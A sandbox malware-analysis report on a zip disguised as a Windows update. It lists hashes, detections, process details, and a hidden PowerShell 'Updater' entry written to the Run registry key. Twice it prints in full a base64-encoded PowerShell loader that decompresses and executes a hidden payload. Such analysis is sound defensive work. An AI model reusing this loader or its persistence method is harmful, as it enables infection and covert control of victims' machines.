File name:

WindowsUpdate[.zip

Full analysis: https://app.any.run/tasks/2246f518-2f4e-468e-b46a-b719abb0e56e
Verdict: Malicious activity
Analysis date: May 10, 2025, 12:58:47
OS: Windows 10 Professional (build: 19044, 64 bit)
Indicators:
MIME: application/zip
File info: Zip archive data, at least v2.0 to extract, compression method=deflate
MD5:

53BF46A72CE6F0AEC8A4A8BBFC1D8A8D

SHA1:

4BF63A92677598BA02F1159C646888FEA71C4CFA

SHA256:

EE95C9C5D6815E1CBF9FFD40A118F72CB961FDB25ECC93F1DCA588C6C188B639

SSDEEP:

48:9NThGEnnjTajenfZtU0SiOsAIKkdC96bG8PJGcxUcBG0UHxN0fkp4EJTq:zAovajef3HSiqh+C9660Gc+3xNuabm

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Bypass execution policy to execute commands

      • powershell.exe (PID: 7344)
      • powershell.exe (PID: 7020)

    • Modifies registry (POWERSHELL)

      • powershell.exe (PID: 4812)

  • SUSPICIOUS

    • Base64-obfuscated command line is found

      • powershell.exe (PID: 7344)
      • powershell.exe (PID: 7020)

    • BASE64 encoded PowerShell command has been detected

      • powershell.exe (PID: 7344)
      • powershell.exe (PID: 7020)

    • Application launched itself

      • powershell.exe (PID: 7344)
      • powershell.exe (PID: 7020)

    • Starts POWERSHELL.EXE for commands execution

      • powershell.exe (PID: 7344)
      • powershell.exe (PID: 7020)

    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 4812)
      • powershell.exe (PID: 7020)
      • powershell.exe (PID: 968)

    • Checks a user's role membership (POWERSHELL)

      • powershell.exe (PID: 4812)

  • INFO

    • Manual execution by a user

      • powershell.exe (PID: 7344)
      • powershell.exe (PID: 7020)

    • Converts byte array into ASCII string (POWERSHELL)

      • powershell.exe (PID: 4812)

    • Uses string replace method (POWERSHELL)

      • powershell.exe (PID: 4812)

    • Gets or sets the time when the file was last written to (POWERSHELL)

      • powershell.exe (PID: 4812)

    • Reads the software policy settings

      • slui.exe (PID: 7616)

    • Checks proxy server information

      • powershell.exe (PID: 7020)
      • powershell.exe (PID: 968)

    • Disables trace logs

      • powershell.exe (PID: 7020)
      • powershell.exe (PID: 968)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 7020)
      • powershell.exe (PID: 968)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.zip | ZIP compressed archive (100)

EXIF

ZIP

ZipRequiredVersion: 20
ZipBitFlag: 0x0008
ZipCompression: Deflated
ZipModifyDate: 2025:05:10 19:56:10
ZipCRC: 0xef45ebc0
ZipCompressedSize: 2859
ZipUncompressedSize: 9464
ZipFileName: WindowsUpdate[.]ps1
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
151
Monitored processes
15
Malicious processes
2
Suspicious processes
1

Behavior graph

Click at the process to see the details
start winrar.exe no specs sppextcomobj.exe no specs slui.exe powershell.exe no specs conhost.exe no specs powershell.exe no specs slui.exe no specs powershell.exe conhost.exe no specs powershell.exe backgroundtransferhost.exe no specs backgroundtransferhost.exe backgroundtransferhost.exe no specs backgroundtransferhost.exe no specs backgroundtransferhost.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
968"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -E cwBhAGwAIABhACAATgBlAHcALQBPAGIAagBlAGMAdAA7AGkAZQB4ACgAYQAgAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgAKABhACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARABlAGYAbABhAHQAZQBTAHQAcgBlAGEAbQAoAFsASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AXQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAcABWAFYAYgBiADkAcABJAEYASAA3AG4AVgA0AHcAUQBrAHEARQBzAGgARQB1AEMAYQBCAEQAUwBBAGoARwB4AGsAMgBBAE0ATgByAGUARQBLAEUAegBzAEEAZAB6AFkATQArADUANABEAEQAZwBwAC8AMwAyAFAATQBhAFIAdABXAG4AVwBsADMAUgBkADcAegBtAFgATwA1AFQAdQBYAFMAUwAxAEQAYQBnAG0ASABVAFQAVAB5AGIAUwB4AEkAWQBlAEoAUQBtADIAMgBEAHQANQBTAE8ATwBmAGEAeQBEADgAYgBXAEUAZABiADYATQBhAE0AVABIAGoAaQBCAHkASwBVAHkATQB1AGUATQB0AHcANgBYAGQARQA2AFcAaABCAE4AcQBrAGEAWgBrAE8AQwA2AGgAdwBvADAANgBqAEEAcQBIAGgAawBSAEsAWgBRAHkATABPADcANQBvAHYAZwBYAFkAUgBSAGgAcABaAEYAdgBvAFAAMwA4AGgAbABtAGcANABaAEoAZgBGAFMATwAwAFgARABjAEUASgA5AG8AWQBFADIANABSAG4ARQAxAGEASABlAFQANABuAFEAUQBEAG0AaQAxAGQAawA2AFUASgBRAGkAVgBiADIAQQBhAFEAOQA0AGoARQBlAEoAWQB6AEgAQgAvAEMAMQBJAFYAdwA4AFgAbAA1ADIATwBmAFAAYQBPAEMAQwAxAGMANQBBADUAZABKAFcAVgB6AE4AbgBuAHQAbABIAFgAVwByAEkANgAzAGEAeQBYAE4AVwBVADIAZgBuAG0ANQBtAGMAegBNADQAZABWAE8AdABuAGoAYgAyAGMANgAwADIAZABmAGIAaQBWAEsAUgBkAGMATQBNAHkAMAA3AGcAaQBzAHAATgBxAGQATABKAGEAMwBuAGIASAAxADcAVQByAHUAKwAvAFYATwAvADUAZQBWAFgAZABsAFUAWgBNAEMAWgBUAHoAbAAzAFUAcABFAHQAcgBJAEsAeQBuAGwAUwBiAGYAUABwAHoAYwBXAHMAVgBYADkAcQAzAEYAYgBhAGQAMwAzAHkANwBzAHAAOQBUADUAUAB5AHMAOQA5AGYATgBZAHIAVQAyAHQAZAB1ADkARQBIAFgAYgBkADMATgBxAEcAYQBNAHQAUwBDACsAdgBTAFYAegArAHIAcgAxAGwAbgAxAHQAcQByAFcAdQA3AEoASABLADUAMQBSAFMAZQB2ADMAdQA4ACsANwA3AFkAVgA1AFAAYgB5AHkASABlAEsAOQBuAEcAdABsAFcAWABiAHQAZQA3AFcAKwAwAG8AeQBCAHQAcAAxAE4AbQBNADEAbgByADIAMwA1AFcAagB2AGYAMABmAHAAVQBHAHgAbwAxAHAANwBTAFoAdgBvADUAdgBkAEwATwAxAEgAaQBqADUAKwAyAGMAegB1AE4AVgA4AC8ALwBWAHMAbwAwAFMAQwBEAFcAYQA3AFcAMAB1ADEAcwBhADUAVgBOAC8AZgA1AHAAZQAxAFAAMQB5ADIAbQBYAFAAVABYAGsAVABiAGwAbgBUAEcAdgA1AEwAOQB1AHgAMgBmAFIAagBiADIAaABuAGYAcwA2ADkAdgAyAEwAcgBVAHoAYQA5AGkAWgBjADcAbQBiAEwANQBhAEIAOQBsAFcAKwAxAG0AawAwAHAAOQA5AGYARABoADEATAA4AGMATwA0AHgAbQB3AEQAawBWADgAUQA2ADgAbgBLAGcAYgBwAEsAZABLAE0AcgBVAFkAagBhAGcARAA5AEsAVwAwAFYASABWAFgASwA0AFkAMQA5AFoAawBNAHIAVwB6AHUAWAAzAEsAVwBXAGIAZgBHACsAawB0AHAAcQBDAC8AaQBCAFYAeQBSADAAUgBGAEgAYwBwAG0ATwBUADUAMgBpADgAYwBXAGYARwBjADgALwBrAEYASgB0AGEASABwAFEAQQBJAGUAcgA0AG4AbwBoAEIAeQA2AFUAVwBUAEIAcgB4AHEAbwBkAE0AaABjADgAaQBjAFAANwBkAEIAeABSAGEATAAyAEsATABWAHMAegA2AEUAUQBHAE0AZQBDAGMAUwBtAFgAUwA3ADEAbABkAE0ANgBXAHoAWQB3ACsANwBIAGYAVgBPADcAbgBZAGMAdAAxAFIAQQBNAEgARABYADIARwBCAEMAQgBvAFoASABVAGMAdQB3ADMAWQB6AHYAYwBoADAAdwBSAEwAaABUAFkATwBJAHcAcwBSAHoAVgBCAG8ASQBEAEYATwBCAEMAaAAwAFgAQgB3AEYANgBlAHAASQAzAEUARgBlAGkAaABBAG8AYQA5AGsAagBnAFkANQBBAHYAMABwAHcAeABNAFEALwBDADUAKwBBAHcASwA0AEQAdQBJAG8AMABLAEwAYgA0AEsAUABiAGcAUQBvAEwALwBmAEsAQwBnADMAcABXAFEANgB1AGQAUQA0AEcASQBvAE4ARwBMAEcAQgBwAG4AUwA0ADMAMwBHADgAYwBVAFYAcQBEAEUATABDAG8AegB0AE0AVgB5AEYAZQBrAGUAWQBpAFAAUgBuAGMATABkAEkASgBGAHkAaABEAHYAcABNADcASgB2AHEARQB1AHMATgArAEQAMABJADYAQgBRAG4AbABkAEoAYQBPAGgAVwBQAG4AQgArAHQAbwBvAHAAcQBLAHEAcQBGAGEAQwBVADAAVQBlAFMAZwBqAEUALwBNAFYARQBlADkASgBxAFUAWQBMAFMAUQBCAGgAdABmAEoAMAB4AHkAegBzAG0AbwA1AEgASgBOAFQAUwByAGoANABvAEYAaABVAFcAYwB0AFIARQA1AFkAdgBmAEMAWAB1AHcASgBBAFEAQgBjAGEAbQBFAHIAbwBmADkAawBmADcAZAA3AFMASwA5AGIAeQB3AHkATQBOAHcAQgBvAFAAQQBiAFUAUAA4AFYAdgB3AFIAMQBDAFgAcgBXAHcAOQBTACsAYwB5AGcANQBKAEgAYQB5AEsAUAAyAE0ATQBQAG8AQQA4AFEALwBYAFQATwBMADUAOABRAFkAQwArAEIAYQBaADcAQwBJAGoAMAA4ADIAbABFAFEAVwBDAGUARQBQAHcAbQA1AHMAbgA1ADIAcABsAGYAdQBwAFoAdABpAFgAYwBXAEIAUABYAG4AVwAvAEsAeABkAEwAYwBqACsAawBnAHAAbwB0AGsARgAwAGYATwBxAEUAcgBCAEMAWQBiADEAdQBTAEYAUQBuAEcASAA0AEkAOABPAE4AbQB0AEkAUwB1AHcARwBSADkAbwAzAC8AbQB2AFgAVABVADkASgBtAEoAagB1AGwAMgA0AGIAWQBZAEMAaAAvAFQAdgByAFkAcwBLAGYATwBiAGIAeQBqAC8AUgAzADQAUABmAHEARwArAHEARQBvAGEASwBIAHIAcAB2AGMAcABBAG4ASAA5AE0AaABUAEgAaQBZAHMASAA0ADkAZQA1AGsATwBLAFYAcgB3AEoAQQBjAE0AZQBIAFAAUgAyAGgAZwBvADcARgBHAGkAbQAzAG4AZABHAGwAdwBaAFoAaQBpAHoAbQBaADkAeAB5AEwAcwB3AEMAbwBFADQAagB6AG8AOQBGAHgAdgBDAGsAWQBuAFEATgBHADgAeQBUADkANAB5AE0ARgBJADMAUwB5AGEARQBZACsAUQBjAG4ASwBSADQAVQB4AGQAawBPAEMAMABvAHQAMABKAHYAcwAvAEsAeABYAEQAKwBYAE8AdAAwAFAARgBsAE4ARQBUAGsARQBxAFEANABOAGkAeQBlAHQATABSAFAAZQBTACsAMgB3ADEASABXADgARgAxAEgASgBOAG4AQgBOADQANABlAEgAWgBEAEsAcABiAEkAcgA2ADMAaABFAGUAWgBTAFYAawBBAFEAVABXAEkATwBlAHoANgBQAGoAKwA1AGoANwBGAG8ATQBNAFoAUwBDAEoASABpAHAAMABXAFEAcABlAFMASABUAEMAOABkAHUAcABDAEsAawBKADcARABGAFMAQQBOAEkAUAB4AGIAdgA0AHYAVABLAEoAdQBhAEoASwBOACsAeQBGAHgATwB0ADIALwArAEYAUgBoADkAQwBTADUAWgB0AEsALwBRAE0APQAnACkALABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACwAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkAC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
1748"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1C:\Windows\System32\BackgroundTransferHost.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Download/Upload Host
Exit code:
1
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\backgroundtransferhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\kernel.appcore.dll
c:\windows\system32\bcryptprimitives.dll
4812"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -E cwBhAGwAIABhACAATgBlAHcALQBPAGIAagBlAGMAdAA7AGkAZQB4ACgAYQAgAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgAKABhACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARABlAGYAbABhAHQAZQBTAHQAcgBlAGEAbQAoAFsASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AXQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAcABWAFYAYgBiADkAcABJAEYASAA3AG4AVgA0AHcAUQBrAHEARQBzAGgARQB1AEMAYQBCAEQAUwBBAGoARwB4AGsAMgBBAE0ATgByAGUARQBLAEUAegBzAEEAZAB6AFkATQArADUANABEAEQAZwBwAC8AMwAyAFAATQBhAFIAdABXAG4AVwBsADMAUgBkADcAegBtAFgATwA1AFQAdQBYAFMAUwAxAEQAYQBnAG0ASABVAFQAVAB5AGIAUwB4AEkAWQBlAEoAUQBtADIAMgBEAHQANQBTAE8ATwBmAGEAeQBEADgAYgBXAEUAZABiADYATQBhAE0AVABIAGoAaQBCAHkASwBVAHkATQB1AGUATQB0AHcANgBYAGQARQA2AFcAaABCAE4AcQBrAGEAWgBrAE8AQwA2AGgAdwBvADAANgBqAEEAcQBIAGgAawBSAEsAWgBRAHkATABPADcANQBvAHYAZwBYAFkAUgBSAGgAcABaAEYAdgBvAFAAMwA4AGgAbABtAGcANABaAEoAZgBGAFMATwAwAFgARABjAEUASgA5AG8AWQBFADIANABSAG4ARQAxAGEASABlAFQANABuAFEAUQBEAG0AaQAxAGQAawA2AFUASgBRAGkAVgBiADIAQQBhAFEAOQA0AGoARQBlAEoAWQB6AEgAQgAvAEMAMQBJAFYAdwA4AFgAbAA1ADIATwBmAFAAYQBPAEMAQwAxAGMANQBBADUAZABKAFcAVgB6AE4AbgBuAHQAbABIAFgAVwByAEkANgAzAGEAeQBYAE4AVwBVADIAZgBuAG0ANQBtAGMAegBNADQAZABWAE8AdABuAGoAYgAyAGMANgAwADIAZABmAGIAaQBWAEsAUgBkAGMATQBNAHkAMAA3AGcAaQBzAHAATgBxAGQATABKAGEAMwBuAGIASAAxADcAVQByAHUAKwAvAFYATwAvADUAZQBWAFgAZABsAFUAWgBNAEMAWgBUAHoAbAAzAFUAcABFAHQAcgBJAEsAeQBuAGwAUwBiAGYAUABwAHoAYwBXAHMAVgBYADkAcQAzAEYAYgBhAGQAMwAzAHkANwBzAHAAOQBUADUAUAB5AHMAOQA5AGYATgBZAHIAVQAyAHQAZAB1ADkARQBIAFgAYgBkADMATgBxAEcAYQBNAHQAUwBDACsAdgBTAFYAegArAHIAcgAxAGwAbgAxAHQAcQByAFcAdQA3AEoASABLADUAMQBSAFMAZQB2ADMAdQA4ACsANwA3AFkAVgA1AFAAYgB5AHkASABlAEsAOQBuAEcAdABsAFcAWABiAHQAZQA3AFcAKwAwAG8AeQBCAHQAcAAxAE4AbQBNADEAbgByADIAMwA1AFcAagB2AGYAMABmAHAAVQBHAHgAbwAxAHAANwBTAFoAdgBvADUAdgBkAEwATwAxAEgAaQBqADUAKwAyAGMAegB1AE4AVgA4AC8ALwBWAHMAbwAwAFMAQwBEAFcAYQA3AFcAMAB1ADEAcwBhADUAVgBOAC8AZgA1AHAAZQAxAFAAMQB5ADIAbQBYAFAAVABYAGsAVABiAGwAbgBUAEcAdgA1AEwAOQB1AHgAMgBmAFIAagBiADIAaABuAGYAcwA2ADkAdgAyAEwAcgBVAHoAYQA5AGkAWgBjADcAbQBiAEwANQBhAEIAOQBsAFcAKwAxAG0AawAwAHAAOQA5AGYARABoADEATAA4AGMATwA0AHgAbQB3AEQAawBWADgAUQA2ADgAbgBLAGcAYgBwAEsAZABLAE0AcgBVAFkAagBhAGcARAA5AEsAVwAwAFYASABWAFgASwA0AFkAMQA5AFoAawBNAHIAVwB6AHUAWAAzAEsAVwBXAGIAZgBHACsAawB0AHAAcQBDAC8AaQBCAFYAeQBSADAAUgBGAEgAYwBwAG0ATwBUADUAMgBpADgAYwBXAGYARwBjADgALwBrAEYASgB0AGEASABwAFEAQQBJAGUAcgA0AG4AbwBoAEIAeQA2AFUAVwBUAEIAcgB4AHEAbwBkAE0AaABjADgAaQBjAFAANwBkAEIAeABSAGEATAAyAEsATABWAHMAegA2AEUAUQBHAE0AZQBDAGMAUwBtAFgAUwA3ADEAbABkAE0ANgBXAHoAWQB3ACsANwBIAGYAVgBPADcAbgBZAGMAdAAxAFIAQQBNAEgARABYADIARwBCAEMAQgBvAFoASABVAGMAdQB3ADMAWQB6AHYAYwBoADAAdwBSAEwAaABUAFkATwBJAHcAcwBSAHoAVgBCAG8ASQBEAEYATwBCAEMAaAAwAFgAQgB3AEYANgBlAHAASQAzAEUARgBlAGkAaABBAG8AYQA5AGsAagBnAFkANQBBAHYAMABwAHcAeABNAFEALwBDADUAKwBBAHcASwA0AEQAdQBJAG8AMABLAEwAYgA0AEsAUABiAGcAUQBvAEwALwBmAEsAQwBnADMAcABXAFEANgB1AGQAUQA0AEcASQBvAE4ARwBMAEcAQgBwAG4AUwA0ADMAMwBHADgAYwBVAFYAcQBEAEUATABDAG8AegB0AE0AVgB5AEYAZQBrAGUAWQBpAFAAUgBuAGMATABkAEkASgBGAHkAaABEAHYAcABNADcASgB2AHEARQB1AHMATgArAEQAMABJADYAQgBRAG4AbABkAEoAYQBPAGgAVwBQAG4AQgArAHQAbwBvAHAAcQBLAHEAcQBGAGEAQwBVADAAVQBlAFMAZwBqAEUALwBNAFYARQBlADkASgBxAFUAWQBMAFMAUQBCAGgAdABmAEoAMAB4AHkAegBzAG0AbwA1AEgASgBOAFQAUwByAGoANABvAEYAaABVAFcAYwB0AFIARQA1AFkAdgBmAEMAWAB1AHcASgBBAFEAQgBjAGEAbQBFAHIAbwBmADkAawBmADcAZAA3AFMASwA5AGIAeQB3AHkATQBOAHcAQgBvAFAAQQBiAFUAUAA4AFYAdgB3AFIAMQBDAFgAcgBXAHcAOQBTACsAYwB5AGcANQBKAEgAYQB5AEsAUAAyAE0ATQBQAG8AQQA4AFEALwBYAFQATwBMADUAOABRAFkAQwArAEIAYQBaADcAQwBJAGoAMAA4ADIAbABFAFEAVwBDAGUARQBQAHcAbQA1AHMAbgA1ADIAcABsAGYAdQBwAFoAdABpAFgAYwBXAEIAUABYAG4AVwAvAEsAeABkAEwAYwBqACsAawBnAHAAbwB0AGsARgAwAGYATwBxAEUAcgBCAEMAWQBiADEAdQBTAEYAUQBuAEcASAA0AEkAOABPAE4AbQB0AEkAUwB1AHcARwBSADkAbwAzAC8AbQB2AFgAVABVADkASgBtAEoAagB1AGwAMgA0AGIAWQBZAEMAaAAvAFQAdgByAFkAcwBLAGYATwBiAGIAeQBqAC8AUgAzADQAUABmAHEARwArAHEARQBvAGEASwBIAHIAcAB2AGMAcABBAG4ASAA5AE0AaABUAEgAaQBZAHMASAA0ADkAZQA1AGsATwBLAFYAcgB3AEoAQQBjAE0AZQBIAFAAUgAyAGgAZwBvADcARgBHAGkAbQAzAG4AZABHAGwAdwBaAFoAaQBpAHoAbQBaADkAeAB5AEwAcwB3AEMAbwBFADQAagB6AG8AOQBGAHgAdgBDAGsAWQBuAFEATgBHADgAeQBUADkANAB5AE0ARgBJADMAUwB5AGEARQBZACsAUQBjAG4ASwBSADQAVQB4AGQAawBPAEMAMABvAHQAMABKAHYAcwAvAEsAeABYAEQAKwBYAE8AdAAwAFAARgBsAE4ARQBUAGsARQBxAFEANABOAGkAeQBlAHQATABSAFAAZQBTACsAMgB3ADEASABXADgARgAxAEgASgBOAG4AQgBOADQANABlAEgAWgBEAEsAcABiAEkAcgA2ADMAaABFAGUAWgBTAFYAawBBAFEAVABXAEkATwBlAHoANgBQAGoAKwA1AGoANwBGAG8ATQBNAFoAUwBDAEoASABpAHAAMABXAFEAcABlAFMASABUAEMAOABkAHUAcABDAEsAawBKADcARABGAFMAQQBOAEkAUAB4AGIAdgA0AHYAVABLAEoAdQBhAEoASwBOACsAeQBGAHgATwB0ADIALwArAEYAUgBoADkAQwBTADUAWgB0AEsALwBRAE0APQAnACkALABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACwAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkAC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
4812"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1C:\Windows\System32\BackgroundTransferHost.exe
svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Download/Upload Host
Exit code:
1
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\backgroundtransferhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\kernel.appcore.dll
c:\windows\system32\bcryptprimitives.dll
5408\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6136"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1C:\Windows\System32\BackgroundTransferHost.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Download/Upload Host
Exit code:
1
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\backgroundtransferhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\kernel.appcore.dll
c:\windows\system32\bcryptprimitives.dll
6416"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1C:\Windows\System32\BackgroundTransferHost.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Download/Upload Host
Exit code:
1
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\backgroundtransferhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\kernel.appcore.dll
c:\windows\system32\bcryptprimitives.dll
7020"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass "C:\Users\admin\Desktop\WindowsUpdate.ps1"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\atl.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
7336\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
7344"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass "C:\Users\admin\Desktop\WindowsUpdate.ps1"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
Total events
22 374
Read events
22 350
Write events
24
Delete events
0

Modification events

(PID) Process:(7472) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:3
Value:
C:\Users\admin\Desktop\preferences.zip
(PID) Process:(7472) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:2
Value:
C:\Users\admin\Desktop\chromium_ext.zip
(PID) Process:(7472) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:1
Value:
C:\Users\admin\Desktop\omni_23_10_2024_.zip
(PID) Process:(7472) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:0
Value:
C:\Users\admin\AppData\Local\Temp\WindowsUpdate[.zip
(PID) Process:(7472) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:name
Value:
120
(PID) Process:(7472) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:size
Value:
80
(PID) Process:(7472) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:type
Value:
120
(PID) Process:(7472) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:mtime
Value:
100
(PID) Process:(4812) powershell.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Operation:writeName:Updater
Value:
"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -WindowStyle Hidden
